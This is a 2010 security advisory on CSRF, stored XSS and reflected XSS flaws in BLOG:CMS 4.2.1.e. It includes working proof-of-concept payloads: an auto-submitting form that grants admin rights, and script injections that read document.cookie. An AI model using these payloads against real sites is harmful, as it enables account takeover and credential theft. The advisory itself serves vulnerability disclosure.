Vulnerability ID: HTB22727 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_blogcms.html Product: BLOG:CMS Vendor: Radek Huln ( http://blogcms.com/ ) Vulnerable Version: 4.2.1.e and probably prior versions Vendor Notification: 30 November 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Not Fixed, Vendor Alerted Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) XSRF/CSRF: Vulnerability Details: The vulnerability exists due to failure in the "admin/libs/ADMIN.php" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/index.php" method="post" name="main"> <input type="hidden" name="action" value="changemembersettings"> <input type="hidden" name="memberid" value="USER_UD"> <input type="hidden" name="name" value="tester"> <input type="hidden" name="realname" value="tester"> <input type="hidden" name="password" value=""> <input type="hidden" name="repeatpassword" value=""> <input type="hidden" name="email" value="email@example.com"> <input type="hidden" name="url" value=""> <input type="hidden" name="admin" value="1"> <input type="hidden" name="canlogin" value="1"> <input type="hidden" name="notes" value=""> <input type="hidden" name="deflang" value=""> </form> <script> document.main.submit(); </script> Stored XSS (HTB22724): Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "action.php" script to properly sanitize user-supplied input in "body" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. Enter comment like <script>alert('XSS')</script> in "Add new comment" form. XSS (HTB22725): Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "admin/index.php" script to properly sanitize user-supplied input in "amount" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin/index.php" method="post" name="main"> <input type="hidden" name="blogid" value="0"> <input type="hidden" name="itemid" value="0"> <input type="hidden" name="action" value="browseowncomments"> <input type="hidden" name="amount" value='10"><script>alert(document.cookie)</script>'> <input type="hidden" name="start" value="0"> <input type="hidden" name="search" value=""> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version XSS(HTB22726): Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "admin/index.php" script to properly sanitize user-supplied input in "action" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: http://host/admin/index.php?action=settingsedit"><script>alert(document.cookie)</script> Solution: Upgrade to the most recent version